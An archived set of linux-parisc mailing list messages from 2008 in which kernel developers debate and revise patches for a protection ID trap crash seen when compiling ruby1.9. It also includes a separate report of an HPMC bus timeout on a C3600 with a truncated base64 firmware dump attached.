X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] [RFC] fix kernel crash (protection id trap) when
	compiling ruby1.9
Date: Fri, 19 Dec 2008 16:29:06 -0500
Lines: 124
Approved: news@gmane.org
Message-ID: <20081219212906.GG8945@bombadil.infradead.org>
References: <4949812D.7080608@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1229722162 13427 80.91.229.12 (19 Dec 2008 21:29:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 19 Dec 2008 21:29:22 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Dec 19 22:30:26 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LDmvQ-0008TX-Ee
	for glpp-linux-parisc@gmane.org; Fri, 19 Dec 2008 22:30:24 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751810AbYLSV3J (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 19 Dec 2008 16:29:09 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751832AbYLSV3J
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 19 Dec 2008 16:29:09 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:55718 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751810AbYLSV3I (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 19 Dec 2008 16:29:08 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.68 #1 (Red Hat Linux))
	id 1LDmuA-0007PF-DN; Fri, 19 Dec 2008 21:29:06 +0000
Content-Disposition: inline
In-Reply-To: <4949812D.7080608@gmx.de>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:995
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/995>

On Wed, Dec 17, 2008 at 11:46:05PM +0100, Helge Deller wrote:
>

Honestly, I can't decide whether to apply this. It really should never
happen in the kernel, since the kernel can guarantee it won't get the
access rights failure (highest privilege level, and can set %sr and
%protid to whatever it wants.)

It really genuinely is a bug that probably should panic the kernel. The
only precedent I can easily see is x86 fixing up a bad iret with a
general protection fault, which is more or less analogous to code 27
here.

On the other hand, taking the exception on a userspace access really
isn't all that critical, and there's fundamentally little reason for the
kernel not to SIGSEGV the process, and continue...

Argh.

(btw, I've instrumented my do_sys_poll with a pile of assertions that
 %cr8 << 1 == %sr3 == current->mm.context... let's see if where we're
 getting corrupted is deterministic, though, I would guess that it won't
 be.)

diff --git a/arch/parisc/include/asm/uaccess.h b/arch/parisc/include/asm/uaccess.h
index 4878b95..1c6dbb6 100644
--- a/arch/parisc/include/asm/uaccess.h
+++ b/arch/parisc/include/asm/uaccess.h
@@ -241,4 +241,6 @@ unsigned long copy_in_user(void __user *dst, const void __user *src, unsigned lo
 #define __copy_to_user_inatomic __copy_to_user
 #define __copy_from_user_inatomic __copy_from_user
 
+int fixup_exception(struct pt_regs *regs);
+
 #endif /* __PARISC_UACCESS_H */
diff --git a/arch/parisc/kernel/traps.c b/arch/parisc/kernel/traps.c
index 4c771cd..548ba0c 100644
--- a/arch/parisc/kernel/traps.c
+++ b/arch/parisc/kernel/traps.c
@@ -745,6 +745,10 @@ void handle_interruption(int code, struct pt_regs *regs)
 		/* Fall Through */
 	case 27: 
 		/* Data memory protection ID trap */
+		if (code == 27 && !user_mode(regs) &&
+			fixup_exception(regs))
+			return;
+
 		die_if_kernel("Protection id trap", regs, code);
 		si.si_code = SEGV_MAPERR;
 		si.si_signo = SIGSEGV;
diff --git a/arch/parisc/mm/fault.c b/arch/parisc/mm/fault.c
index b2e3e9a..92c7fa4 100644
--- a/arch/parisc/mm/fault.c
+++ b/arch/parisc/mm/fault.c
@@ -139,13 +139,41 @@ parisc_acctyp(unsigned long code, unsigned int inst)
 			}
 #endif
 
+int fixup_exception(struct pt_regs *regs)
+{
+	const struct exception_table_entry *fix;
+
+	fix = search_exception_tables(regs->iaoq[0]);
+	if (fix) {
+		struct exception_data *d;
+		d = &__get_cpu_var(exception_data);
+		d->fault_ip = regs->iaoq[0];
+		d->fault_space = regs->isr;
+		d->fault_addr = regs->ior;
+
+		regs->iaoq[0] = ((fix->fixup) & ~3);
+		/*
+		 * NOTE: In some cases the faulting instruction
+		 * may be in the delay slot of a branch. We
+		 * don't want to take the branch, so we don't
+		 * increment iaoq[1], instead we set it to be
+		 * iaoq[0]+4, and clear the B bit in the PSW
+		 */
+		regs->iaoq[1] = regs->iaoq[0] + 4;
+		regs->gr[0] &= ~PSW_B; /* IPSW in gr[0] */
+
+		return 1;
+	}
+
+	return 0;
+}
+
 void do_page_fault(struct pt_regs *regs, unsigned long code,
 			      unsigned long address)
 {
 	struct vm_area_struct *vma, *prev_vma;
 	struct task_struct *tsk = current;
 	struct mm_struct *mm = tsk->mm;
-	const struct exception_table_entry *fix;
 	unsigned long acc_type;
 	int fault;
 
@@ -229,32 +257,8 @@ bad_area:
 
 no_context:
 
-	if (!user_mode(regs)) {
-		fix = search_exception_tables(regs->iaoq[0]);
-
-		if (fix) {
-			struct exception_data *d;
-
-			d = &__get_cpu_var(exception_data);
-			d->fault_ip = regs->iaoq[0];
-			d->fault_space = regs->isr;
-			d->fault_addr = regs->ior;
-
-			regs->iaoq[0] = ((fix->fixup) & ~3);
-
-			/*
-			 * NOTE: In some cases the faulting instruction
-			 * may be in the delay slot of a branch. We
-			 * don't want to take the branch, so we don't
-			 * increment iaoq[1], instead we set it to be
-			 * iaoq[0]+4, and clear the B bit in the PSW
-			 */
-
-			regs->iaoq[1] = regs->iaoq[0] + 4;
-			regs->gr[0] &= ~PSW_B; /* IPSW in gr[0] */

From - Thu Nov 08 21:03:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] [RFC] fix kernel crash (protection id trap) when	compiling
 ruby1.9
Date: Fri, 19 Dec 2008 23:59:11 +0100
Lines: 71
Approved: news@gmane.org
Message-ID: <494C273F.1040200@gmx.de>
References: <4949812D.7080608@gmx.de> <20081219212906.GG8945@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1229727577 29347 80.91.229.12 (19 Dec 2008 22:59:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 19 Dec 2008 22:59:37 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Kyle McMartin <kyle@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Dec 20 00:00:42 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LDoKe-0004gg-I6
	for glpp-linux-parisc@gmane.org; Sat, 20 Dec 2008 00:00:33 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751468AbYLSW7R (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 19 Dec 2008 17:59:17 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751474AbYLSW7R
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 19 Dec 2008 17:59:17 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:47008 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751468AbYLSW7Q (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 19 Dec 2008 17:59:16 -0500
Original-Received: (qmail invoked by alias); 19 Dec 2008 22:59:14 -0000
Original-Received: from mnhm-590f63b8.pool.einsundeins.de (EHLO halden.box) [89.15.99.184]
  by mail.gmx.net (mp031) with SMTP; 19 Dec 2008 23:59:14 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/q5f0GiWHqkUMmaFsiKZcwl/iN3+wmhu0JECQM2r
	7uayh1sGOl269s
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
In-Reply-To: <20081219212906.GG8945@bombadil.infradead.org>
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.51
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:996
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/996>

Kyle McMartin wrote:
> Honestly, I can't decide whether to apply this. It really should never
> happen in the kernel, since the kernel can guarantee it won't get the
> access rights failure (highest privilege level, and can set %sr and
> %protid to whatever it wants.)

Yes, that's the problem.
We catch a bug in the kernel which shouldn't be there (and which we
can't find yet).
If it wouldn't be there, we wouldn't need this patch..
Chicken and egg problem.

> It really genuinely is a bug that probably should panic the kernel. The
> only precedent I can easily see is x86 fixing up a bad iret with a
> general protection fault, which is more or less analogous to code 27
> here.
> 
> On the other hand, taking the exception on a userspace access really
> isn't all that critical, and there's fundamentally little reason for the
> kernel not to SIGSEGV the process, and continue...
> 
> Argh.

Argh. Argh :-)


> (btw, I've instrumented my do_sys_poll with a pile of assertions that
>  %cr8 << 1 == %sr3 == current->mm.context... let's see if where we're
>  getting corrupted is deterministic, though, I would guess that it won't
>  be.)

I'll continue to debug as well. I have some more ideas left to try...

Thanks for cleaning up my patch and splitting out the fixup_exception()
code.
Your patch is fine and I think you should apply it (with one minor
addition - see below).
The reason I think why you should apply it is, that we shouldn't let the
kernel crash on (correct) userspace apps.
Maybe adding a comment that this check in trap #27 should be removed
when the bug is fixed would be good though.

> diff --git a/arch/parisc/include/asm/uaccess.h b/arch/parisc/include/asm/uaccess.h
> index 4878b95..1c6dbb6 100644
> --- a/arch/parisc/include/asm/uaccess.h
> +++ b/arch/parisc/include/asm/uaccess.h
> @@ -745,6 +745,10 @@ void handle_interruption(int code, struct pt_regs *regs)
>  		/* Fall Through */
>  	case 27: 
>  		/* Data memory protection ID trap */
> +		if (code == 27 && !user_mode(regs) &&
> +			fixup_exception(regs))
> +                   return;

I think you should add a self-explaining printk(KERN_CRIT,..) here, so
that we can track when this bug appeared in userspace.
Something like:
printk("strange data protection ID trap happened to <procname> PID: xxx.
(this is a bug in the kernel)\n");
(you probably find a better wording)

Having a correctly-coded userspace process which suddenly just return
failures in syscalls is not good and would make people wonder and
unnecessarily try to debug their (correct) userspace apps...

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] [RFC] fix kernel crash (protection id trap) when
	compiling ruby1.9
Date: Fri, 19 Dec 2008 18:34:35 -0500
Lines: 45
Approved: news@gmane.org
Message-ID: <20081219233435.GA25457@bombadil.infradead.org>
References: <4949812D.7080608@gmx.de> <20081219212906.GG8945@bombadil.infradead.org> <494C273F.1040200@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1229729708 2615 80.91.229.12 (19 Dec 2008 23:35:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 19 Dec 2008 23:35:08 +0000 (UTC)
Cc: Kyle McMartin <kyle@infradead.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Dec 20 00:36:13 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LDot4-0007JQ-Rj
	for glpp-linux-parisc@gmane.org; Sat, 20 Dec 2008 00:36:07 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756215AbYLSXej (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 19 Dec 2008 18:34:39 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756270AbYLSXej
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 19 Dec 2008 18:34:39 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:47764 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755012AbYLSXei (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 19 Dec 2008 18:34:38 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.68 #1 (Red Hat Linux))
	id 1LDorb-0003KJ-DP; Fri, 19 Dec 2008 23:34:35 +0000
Content-Disposition: inline
In-Reply-To: <494C273F.1040200@gmx.de>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:997
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/997>

On Fri, Dec 19, 2008 at 11:59:11PM +0100, Helge Deller wrote:
> Thanks for cleaning up my patch and splitting out the fixup_exception()
> code.
> Your patch is fine and I think you should apply it (with one minor
> addition - see below).
> The reason I think why you should apply it is, that we shouldn't let the
> kernel crash on (correct) userspace apps.
> Maybe adding a comment that this check in trap #27 should be removed
> when the bug is fixed would be good though.
> 

Hmm. You raise a good point that userspace is DTRT...
Can you test to see if this patch fixes things? My c3000 with an
unpatched kernel has suddenly decided it doesn't want to crash 
anymore...

diff --git a/arch/parisc/kernel/traps.c b/arch/parisc/kernel/traps.c
index 4c771cd..73058e8 100644
--- a/arch/parisc/kernel/traps.c
+++ b/arch/parisc/kernel/traps.c
@@ -745,6 +745,19 @@ void handle_interruption(int code, struct pt_regs *regs)
 		/* Fall Through */
 	case 27: 
 		/* Data memory protection ID trap */
+#define HANDLE_KERNEL_PROTECTION_TRAPS
+#ifdef HANDLE_KERNEL_PROTECTION_TRAPS
+		/* XXX very very evil */
+		if (code == 27 && !user_mode(regs)) {
+			/* bang the spaceid back into sr3 */
+			regs->sr[3] = (unsigned long)current->mm.context;
+			/* TODO? reprogram %cr8? load_context will get it. */
+			/* TODO? thread_struct.faulted count to catch
+			 *  taking the same fault on the same insn again?
+			 */
+			return;
+		}
+#endif /*HANDLE_KERNEL_PROTECTION_TRAPS*/
 		die_if_kernel("Protection id trap", regs, code);
 		si.si_code = SEGV_MAPERR;
 		si.si_signo = SIGSEGV;
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: HPMC bus timeout on C3600
Date: Sat, 20 Dec 2008 13:39:15 +0100
Lines: 512
Approved: news@gmane.org
Message-ID: <20081220133915.4c167e09@bleh.bxl.tuxicoman.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="MP_/wTlbC=9Vnm6ozbPonbuOseN"
X-Trace: ger.gmane.org 1229776778 4556 80.91.229.12 (20 Dec 2008 12:39:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 20 Dec 2008 12:39:38 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Dec 20 13:40:43 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LE18I-0008CW-ME
	for glpp-linux-parisc@gmane.org; Sat, 20 Dec 2008 13:40:39 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751326AbYLTMjY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 20 Dec 2008 07:39:24 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751327AbYLTMjY
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 20 Dec 2008 07:39:24 -0500
Original-Received: from cable-85.28.88.25.coditel.net ([85.28.88.25]:43025 "EHLO
	ibiza.bxl.tuxicoman.be" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751326AbYLTMjW (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 20 Dec 2008 07:39:22 -0500
Original-Received: from bleh.bxl.tuxicoman.be ([2001:6f8:310:300:213:d4ff:fe5c:bd4f])
	by ibiza.bxl.tuxicoman.be with esmtps (TLSv1:AES256-SHA:256)
	(Exim 4.69)
	(envelope-from <gmsoft@tuxicoman.be>)
	id 1LE16x-0005l4-Tn
	for linux-parisc@vger.kernel.org; Sat, 20 Dec 2008 13:39:19 +0100
X-Mailer: Claws Mail 3.5.0 (GTK+ 2.12.11; i686-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:998
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/998>

--MP_/wTlbC=9Vnm6ozbPonbuOseN
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Disposition: inline



Hi team,


I'm recently running into HPMC bus timeout problem. While this never
caused any problem before, I've noticed a few strange things. I've
attached the output I get from "pim hpmc" in the PDC.

This BUS timeout occurs after one or two days of idling when I plug a
specific card reader in the USB PCI card I plugged in. I think this
card reader causes problems because it's being polled every 2-3 seconds.

Nevertheless, looking at the pdc output, it seems that the OS HPMC
handler is not kicking off according to the chassis code CBF2 and CBFC.
CBF2 : bas OS HPMC len
CBFC : OS HPMC br err

I've check GR02 and it points to inw() which makes sens. Nothing
interesting there.

The failing device appears to be the built-in NIC according the path
provided in the output (10/0/12/0) and the C3600 service manual (figure
5-2).

Even if this look HW pb, I've had a few reports recently about HPMC PCI
timeout issues and I have a few doubts.

Now my questions are :
 - does this look like an HW or SW problems ?
 - why isn't the HPMC handler kicked off ?
 - could the HPMC handler recover this ?
 - what debug can I enable to get more info about this if applicable ?



Cheers,
  Guy


--MP_/wTlbC=9Vnm6ozbPonbuOseN
Content-Type: application/octet-stream; name=c3600-hpmc
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename=c3600-hpmc

U2VydmljZSBNZW51OiBFbnRlciBjb21tYW5kID4gcGltIGhwbWMgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAKUFJPQ0VTU09SIFBJTSBJTkZPUk1BVElPTiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKLS0t
LS0tLS0tLS0tLS0tLS0gIFByb2Nlc3NvciAwIEhQTUMgSW5mb3JtYXRpb24gLS0tLS0tLS0tLS0t
LS0tLS0tICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAKVGltZXN0YW1wID0gICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAKICBUdWUgRGVjICAxNiAyMToyMzo0NyBHTVQgMjAwOCAgICAoMjA6MDg6MTI6MTY6
MjE6MjM6NDcpICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKSFBNQyBDaGFzc2lzIENvZGVzID0g
MmNiZjAgIDI1MDBiICAyY2JmMiAgMmNiZmMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAKR2VuZXJhbCBSZWdpc3RlcnMgMCAtIDMxICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKMDAtMDMgICAw
MDAwMDAwMDAwMDAwMDAwICAwMDAwMDAwMDEwNGRjMTUwICAwMDAwMDAwMDEwMTE3NmYwICAwMDAw
MDAwMDhmMzFlMzYwICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKMDQtMDcgICAwMDAwMDAwMDAwMDAwMDAw
ICAwMDAwMDAwMDAwMDAwMDBmICAwMDAwMDAwMDhmMzFlMDAwICAwMDAwMDAwMDAwMDAwMDAwICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAKMDgtMTEgICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAwMDEwNTgy
OTUwICAwMDAwMDAwMDEwNGRjMTUwICAwMDAwMDAwMDEwNTdlZGU4ICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAKMTItMTUgICAwMDAwMDAwMGYwMDAwMDAwICAwMDAwMDAwMDAwMDAwMDgxICAwMDAwMDAwMDEw
NDBjMGU0ICAwMDAwMDAwMGYwNDAwMDA0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKMTYtMTkgICAwMDAw
MDAwMGYwMDAwOGM0ICAwMDAwMDAwMGYwMDAwMTdjICAwMDAwMDAwMGYwMDAwMTc0ICAwMDAwMDAw
MDAwMDIwMDAwICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKMjAtMjMgICAwMDAwMDAwMDAwMDAwMGQ0ICAw
MDAwMDAwMDAzMGE5ZmNiICAwMDAwMDAwMDEwMjdhN2I4ICAwMDAwMDAwMDAwMDAwMDAwICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAKMjQtMjcgICAwMDAwMDAwMDAwMDAwMDAxICAwMDAwMDAwMDAwMDAxMDQw
ICAwMDAwMDAwMDhmODA0NTgwICAwMDAwMDAwMDEwNGRjMTUwICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAK
MjgtMzEgICAwMDAwMDAwMDEwNGZiNzc4ICAwMDAwMDAwMDAyNTg0ZmQ2ICAwMDAwMDAwMDhmOGUw
MzgwICAwMDAwMDAwMDEwMTE3NmYwICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
